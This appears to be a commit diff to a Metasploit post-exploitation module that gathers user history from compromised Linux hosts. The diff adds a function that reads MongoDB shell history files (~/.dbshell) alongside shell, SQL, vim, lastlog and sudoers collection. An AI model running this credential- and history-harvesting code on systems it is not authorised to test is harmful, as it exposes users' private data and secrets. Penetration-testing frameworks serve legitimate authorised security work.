@@ -16,8 +16,8 @@ def initialize(info = {})
16
16
'Name' => 'Linux Gather User History' ,
17
17
'Description' => %q{
18
18
This module gathers user specific information.
19
- User list, shell history, mysql history,
20
- postgresql history, vim history, lastlog and sudoers.
19
+ User shell history, MySQL history, PostgreSQL history,
20
+ MongoDB history, vim history, lastlog and sudoers.
21
21
} ,
22
22
'License' => MSF_LICENSE ,
23
23
'Author' =>
@@ -49,6 +49,7 @@ def run
49
49
end
50
50
get_mysql_history ( u )
51
51
get_psql_history ( u )
52
+ get_mongodb_history ( u )
52
53
get_vim_history ( u )
53
54
end
54
55
@@ -118,6 +119,16 @@ def get_psql_history(user)
118
119
save ( "PostgreSQL History for #{ user } " , sql_hist ) unless sql_hist . blank? || sql_hist =~ /No such file or directory/
119
120
end
120
121
122
+ def get_mongodb_history ( user )
123
+ vprint_status ( "Extracting MongoDB history for #{ user } " )
124
+ if user == 'root'
125
+ sql_hist = cat_file ( '/root/.dbshell' )
126
+ else
127
+ sql_hist = cat_file ( "/home/#{ user } /.dbshell" )
128
+ end
129
+ save ( "MongoDB History for #{ user } " , sql_hist ) unless sql_hist . blank? || sql_hist =~ /No such file or directory/
130
+ end
131
+
121
132
def get_vim_history ( user )
122
133
vprint_status ( "Extracting VIM history for #{ user } " )
123
134
if user == 'root'
0 commit comments